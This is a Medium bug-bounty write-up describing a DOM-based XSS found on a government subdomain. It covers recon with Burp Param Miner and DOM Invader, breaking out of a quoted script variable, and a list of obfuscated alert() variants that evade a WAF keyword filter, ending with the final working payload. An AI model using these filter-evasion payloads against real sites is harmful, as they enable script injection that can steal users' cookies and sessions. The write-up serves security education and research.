DOM XSS ON A GOV DOMAIN BYPASSING WAF

Welcome back readers. I hope everyone is doing well. I have decided to do a writeup on a DOM Based XSS I recently found bypassing WAF protection. I wanted to do with writeup due to the uniqueness of the payload.

Lets begin. As always, I started with my recon, utilising a range of subdomain scanners to identify subdomains and format this into a list readable on my Kali. Usually I will run further external quick win XSS scripts and I did here but it missed this XSS vulnerability (The importance of manually looking!). Whilst looking deeper within my subdomain list, I started to manually pick interesting subdomains that sounded useful and browsing directly to them on port 443 to see what sort of web app was being hosted. One took my interest. Once it loaded, I noted it looked outdated. There was a lot of content and features but it just did not look very “modern”. Surely there are vulnerabilities here.

After collecting a few low fruits, I turned my focus to XSS. Using the built in Burp Suite Param Miner, I collected all parameters and inserted a unique canary into each parameter, quickly sifting through to identify exactly where it was reflected. I also use DOM Invader on the Burp Suite browser, entering the same unique canary and searching each sink this appears in.

I noted my input was reflected within an already established script tag, within a “var”. This was apart of a search function. The input looked like this:

<script> var ‘mycanary’ </script>

This script was called each time a search took place and so my payload would be loaded within the DOM and executed. The app was filtering “<>/ but it was not filtering ‘ which is exactly what I needed to end the string and create my own within the script, var ‘mycanary’ -alert(document.domain)-’.

BUT this was also blocked. There was now a WAF to battle.

It was identified that “alert, confirm, prompt” were all filtered. “print()” was not and this confirmed my XSS, but I needed to show an alert box with cookies for impact.

During my time hacking, I had come across a lot of writeups with unusual ways to present an “alert”. Below are a few ways:

[%27al\x65rt%27](document.domain);//
window[‘alert’](0)
parent[‘alert’](1)
self[‘alert’](2)
top[‘alert’](3)
this[‘alert’](4)
frames[‘alert’](5)
content[‘alert’](6)
constructor.constructor(“aler”+”t(3)”)();
[].filter.constructor(‘ale’+’rt(4)’)();
top[“al”+”ert”](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top[‘al\x65rt’](9);

My ending payload looked like this foo%27-top[%27al\x65rt%27](document.domain);// (URL encoding was not necessary on the ‘).

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Tobydavenn

Tobydavenn

Penetration Tester | Infosec Lover | Bug Hunter | Security Researcher | 200+ Confirmed Web Application Vulnerabilities